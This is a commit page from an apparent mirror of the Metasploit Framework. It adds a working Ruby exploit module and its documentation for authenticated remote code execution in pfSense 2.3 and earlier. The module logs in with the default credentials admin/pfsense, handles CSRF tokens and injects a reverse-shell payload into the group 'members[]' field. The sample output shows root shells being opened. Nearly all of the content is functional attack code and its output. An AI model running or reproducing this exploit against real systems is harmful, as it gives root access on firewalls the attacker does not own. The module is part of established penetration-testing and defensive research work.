infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #9212, pfsense group member exec module

MS-2855/keylogger-mettle-extension
bwatters-r7 2017-11-27 11:27:29 -06:00
parent 047aef6062 dd8238d146
commit 244acc48b6
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
2 changed files with 303 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

114
documentation/modules/exploit/unix/http/pfsense_group_member_exec.md Normal file
View File

@ -0,0 +1,114 @@
## Description
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
as root.
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
## Vulnerable Application
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
Installer:
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
3. Do: `set rhost [IP]`
4. Do: `set username [username]`
5. Do: `set password [password]`
6. Do: `exploit`
7. You should get a session
## Sample Output
### 2.3-Release amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 2.2.2.2
rhost => 2.2.2.2
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 2.2.2.2:443 The target service is running, but could not be validated.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
[*] Successful Authentication
[*] pfSense Version Detected: 2.3-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
[*] Manual removal of group aJPEfJLDKT is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 5ER6rqZOjOSGjRml;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "5ER6rqZOjOSGjRml\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
whoami
root
uname -a
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
```
### 2.2.6 amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 3.3.3.3
rhost => 3.3.3.3
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 3.3.3.3:443 The target is not exploitable.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
[*] Successful Authentication
[*] pfSense Version Detected: 2.2.6-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
[*] Manual removal of group okUPTvzysL is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 7hKg6oD9DkwXYRtt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "7hKg6oD9DkwXYRtt\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
whoami
root
uname -a
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
```
## Cleanup
Manual cleanup is required. The group name is printed during exploitation.
## Logging
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`

189
modules/exploits/unix/http/pfsense_group_member_exec.rb Normal file
View File

@ -0,0 +1,189 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense authenticated group member RCE',
'Description' => %q(
pfSense, a free BSD based open source firewall distribution,
version <= 2.3.1_1 contains a remote command execution
vulnerability post authentication in the system_groupmanager.php page.
Verified against 2.2.6 and 2.3.
),
'Author' =>
[
's4squatch', # discovery
'h00die' # module
],
'References' =>
[
[ 'EDB', '43128' ],
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'cmd/unix/reverse_openssl'
},
'Arch' => [ ARCH_CMD ],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 06 2017'
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
Opt::RPORT(443)
], self.class
)
end
def login
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for login: #{csrf}")
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
if res.code == 302
vprint_status('Successful Authentication')
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return nil
end
end
def detect_version(cookie)
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET',
'cookie' => cookie
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
if version
print_status("pfSense Version Detected: #{version}")
return Gem::Version.new(version)
end
# If the device isn't fully setup, you get stuck at redirects to wizard.php
# however, this does NOT stop exploitation strangely
print_error("pfSens Version Not Detected or wizard still enabled.")
Gem::Version.new('0.0')
end
def check
begin
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
if /Login to pfSense/ =~ res.body
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
cookie = login
version = detect_version(cookie)
vprint_good('Login Successful')
res = send_request_cgi(
'uri' => '/system_groupmanager.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'act' => 'new'
}
)
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for group creation: #{csrf}")
group_name = rand_text_alpha(10)
post_vars = {
'__csrf_magic' => csrf,
'groupname' => group_name,
'description' => '',
'members[]' => "0';#{payload.encoded};'",
'groupid' => '',
'save' => 'Save'
}
if version >= Gem::Version.new('2.3')
post_vars = post_vars.merge('gtype' => 'local')
elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
post_vars = post_vars.merge(
'act' => '',
'gtype' => '',
'privid' => ''
)
end
send_request_cgi(
'uri' => '/system_groupmanager.php',
'method' => 'POST',
'cookie' => cookie,
'vars_post' => post_vars,
'vars_get' => {
'act' => 'edit'
}
)
print_status("Manual removal of group #{group_name} is required.")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end